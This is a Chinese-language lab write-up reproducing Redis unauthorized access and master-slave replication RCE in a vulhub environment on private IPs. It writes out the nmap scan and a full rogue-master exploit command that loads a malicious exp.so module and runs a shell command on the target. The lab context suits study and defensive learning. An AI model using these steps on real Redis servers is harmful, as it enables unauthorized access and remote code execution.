目录
一、渗透环境
攻击机:2024.3-kali IP:192.168.112.150
靶机:kali IP: 192.168.112.149
漏洞收录于vulhub
涉及知识点:redis未授权访问
影响版本:redis 版本 < 6.x
漏洞的产生条件有以下两点:
- Redis默认绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
- 没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务
现在,bind 0.0.0.0 的含义是:
Redis服务器将监听这台机器上所有网络接口的6379端口。这意味着无论通过哪个IP地址都能访问到Redis服务。
通过本地回环地址 127.0.0.1:6379 (本机访问)
通过服务器的内网IP 192.168.1.10:6379 (局域网内其他机器访问)
通过服务器的公网IP 123.123.123.123:6379 (互联网上的机器访问)
二、漏洞复现
首先进入4-unacc环境目录
1.启动漏洞容器
查看环境状态,redis运行在默认端口6379上
我们使用物理机的NMAP扫描一下靶机kali的端口开放
nmap -sV -p 6379 192.168.112.149
ok我们通过NMAP扫描发现了目标靶机6379端口的redis服务正在运行中。
2.未授权连接
打开攻击机2024.3-kali,然后测试使用攻击机无密码未授权连接靶机的redis,然后发现成功连接并且可以成功使用info指令查看到很多信息。
3.getshell
- 使用现成工具
redis-rogue-getshell
,项目地址:https://github.com/vulhub/redis-rogue-getshell.git - 通过向靶机写入SSH公钥实现SSH登录
redis-rogue-getshell
漏洞背景:
Redis 4.x及5.0.5之前的版本支持主从复制模式,攻击者可伪造一个恶意主节点(Master),诱导目标Redis作为从节点(Slave)连接,通过传输恶意数据流注入攻击载荷。
这里使用redis-rogue-getshell工具,这里的通过向靶机写入SSH公钥实现SSH登录好像不能用。
姿势一:redis-rogue-getshell
git clone https://github.com/vulhub/redis-rogue-getshell.git
cd redis-rogue-getshell/RedisModulesSDK/exp
make
cd ../../
./redis-master.py -r 192.168.112.149 -p 6379 -L 192.168.112.150 -P 8989 -f RedisModulesSDK/exp/exp.so -c "whoami" (第一个ip为靶机,第二个ip为攻击机)
可以看到下面的两个结果。
上述rce的手法为主从复制RCE。